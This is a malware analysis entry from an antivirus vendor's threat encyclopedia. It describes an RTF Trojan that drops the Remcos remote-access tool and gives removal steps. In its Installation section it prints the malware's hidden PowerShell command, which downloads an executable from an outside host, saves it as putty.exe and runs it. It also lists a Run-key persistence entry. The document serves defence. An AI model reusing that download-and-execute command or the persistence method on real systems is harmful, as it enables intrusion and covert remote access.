PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 259,881 bytes
File Type: RTF
Memory Resident: Yes
Initial Samples Received Date: 28 May 2020

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • "%System%\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://{BLOCKED}amatan.ir/ses/HU.exe','%Application Data%\putty.exe');Start-Process '%Application Data%\putty.exe'"
  • PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://{BLOCKED}amatan.ir/ses/HU.exe','%Application Data%\putty.exe');Start-Process '%Application Data%\putty.exe'"
  • %Application Data%\putty.exe
  • "%Application Data%\putty.exe"
  • "%System%\WScript.exe" "%User Temp%\install.vbs"
  • %User Temp%\install.vbs
  • "%System%\cmd.exe" /c "%Application Data%\app\remcos.exe"
  • %Application Data%\app\remcos.exe %Application Data%\app\remcos.exe

It creates the following folders:

  • %Application Data%\vlc
  • %Application Data%\app

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Autostart Technique

This Trojan adds the following registry entries to enable its automatic execution at every system startup:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
remoteaccess = "%Application Data%\app\remcos.exe"

Other System Modifications

This Trojan modifies the following file(s):

  • %Application Data%\putty.exe

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It deletes the following files:

  • %Application Data%\putty.exe:Zone.Identifier
  • %Application Data%\app\remcos.exe:Zone.Identifier

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following registry entries:

HKEY_CURRENT_USER\Software\remoteaccess-2E1HP8
exepath = "{random characters}"

HKEY_CURRENT_USER\Software\remoteaccess-2E1HP8
licence = "460C428BBB4D20DB0E8BF0194FED1ADD"

Dropping Routine

This Trojan drops the following files:

  • %All Users Profile%\hrjytrj.cmd
  • %Application Data%\app\remcos.exe
  • %Application Data%\putty.exe
  • {malware file path and name}
  • %Application Data%\vlc\logs.dat
  • %User Temp%\Abctfhghghghgh\xc5\x92.scT
  • %User Temp%\install.vbs

(Note: %All Users Profile% is the common user's profile folder, which is usually C:\Documents and Settings\All Users on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit). . %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

This report is generated via an automated analysis system.

  SOLUTION

Minimum Scan Engine: 9.850

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Restart in Safe Mode

[ Learn More ]

Step 3

Identify and terminate files detected as Trojan.W97M.CVE20178570.AXE

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 4

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • remoteaccess = "%Application Data%\app\remcos.exe"
  • In HKEY_CURRENT_USER\Software\remoteaccess-2E1HP8
    • exepath = "{random characters}"
  • In HKEY_CURRENT_USER\Software\remoteaccess-2E1HP8
    • licence = "460C428BBB4D20DB0E8BF0194FED1ADD"

Step 5

Search and delete these components

[ Learn More ]
There may be some components that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %All Users Profile%\hrjytrj.cmd
  • %Application Data%\app\remcos.exe
  • %Application Data%\putty.exe
  • {malware file path and name}
  • %Application Data%\vlc\logs.dat
  • %User Temp%\Abctfhghghghgh\xc5\x92.scT
  • %User Temp%\install.vbs

Step 6

Search and delete these folders

[ Learn More ]
Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.
  • %Application Data%\vlc
  • %Application Data%\app

Step 7

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Trojan.W97M.CVE20178570.AXE. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.

Step 8

Restore deleted/modified files and/or registry entries from backup

*Note: Only Microsoft-related files/keys/values will be restored. If this malware/grayware also deleted registry keys/values related to programs that are not from Microsoft, please reinstall those programs on your computer.

    • %Application Data%\putty.exe

Step 9

Restore this file from backup only Microsoft-related files will be restored. If this malware/grayware also deleted files related to programs that are not from Microsoft, please reinstall those programs on you computer again.

  • %Application Data%\putty.exe:Zone.Identifier
  • %Application Data%\app\remcos.exe:Zone.Identifier


Did this description help? Tell us how we did.